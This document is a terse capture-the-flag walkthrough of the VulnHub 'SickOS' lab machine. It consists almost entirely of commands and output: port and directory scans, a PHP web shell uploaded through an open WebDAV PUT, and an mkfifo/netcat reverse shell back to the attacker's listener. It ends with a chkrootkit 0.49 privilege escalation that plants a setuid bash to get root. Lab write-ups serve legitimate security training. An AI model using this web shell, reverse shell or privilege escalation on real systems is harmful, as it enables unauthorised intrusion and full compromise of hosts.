UPLOAD SHELL USING CURL

PHP REVERSE SHELL

CHKROOTKIT EXPLOIT TO PRIVESC

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 66:8c:c0:f2:85:7c:6c:c0:f6:ab:7d:48:04:81:c2:d4 (DSA)
|   2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA)
|_  256 a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA)
80/tcp open  http    lighttpd 1.4.28
|_http-server-header: lighttpd/1.4.28
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:8A:4C:AC (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.18, Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

lighttpd/1.4.28

```
root@kali:/home/kali/Desktop/vulnhub/sickos# gobuster dir -u http://sickos -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

/test (Status: 301)

lighttpd/1.4.28

```
*   Trying 192.168.2.145:80...
* TCP_NODELAY set
* Connected to sickos (192.168.2.145) port 80 (#0)
> OPTIONS /test/ HTTP/1.1
> Host: sickos
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< DAV: 1,2
< MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
< Allow: OPTIONS, GET, HEAD, POST
< Content-Length: 0
< Date: Tue, 09 Jun 2020 13:11:20 GMT
< Server: lighttpd/1.4.28
root@kali:/home/kali/Desktop/vulnhub/sickos# curl -v -X PUT -d '<?php system($_GET["cmd"]);?>' http://sickos/test/shell.php
http://sickos/test/shell.php?cmd=id
http://sickos/test/shell.php?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2%3E%261|nc+192.168.2.165+443+%3E/tmp/f
root@kali:/home/kali/Desktop/vulnhub/sickos# nc -nlvp 443
SHELL GAINED !!!!!!!
www-data@ubuntu:/var/www/test$ ls /etc/cron.daily/
apt       bsdmainutils  dpkg      logrotate  mlocate  popularity-contest
aptitude  chkrootkit    lighttpd  man-db     passwd   standard
www-data@ubuntu:/var/www/test$ head /usr/sbin/chkrootkit
CHKROOTKIT_VERSION='0.49'


root@kali:/home/kali# searchsploit chkrootkit 0.49
-------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                  |  Path
-------------------------------------------------------------------------------- ---------------------------------
Chkrootkit 0.49 - Local Privilege Escalation                                    | linux/local/33899.txt
root@kali:/home/kali# cp /usr/share/exploitdb/exploits/linux/local/33899.txt .
```

```
www-data@ubuntu:/var/www/test$ ls -lah /etc/cron* 2>/dev/null | grep chkrootkit
-rwxr-xr-x  1 root root 2.0K Jun  4  2014 chkrootkit
www-data@ubuntu:/tmp$ cat update
cp /bin/bash /tmp/bash
chmod 4777 /tmp/bash

www-data@ubuntu:/tmp$ ./bash -p
bash-4.2# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
bash-4.2# whoami
root
```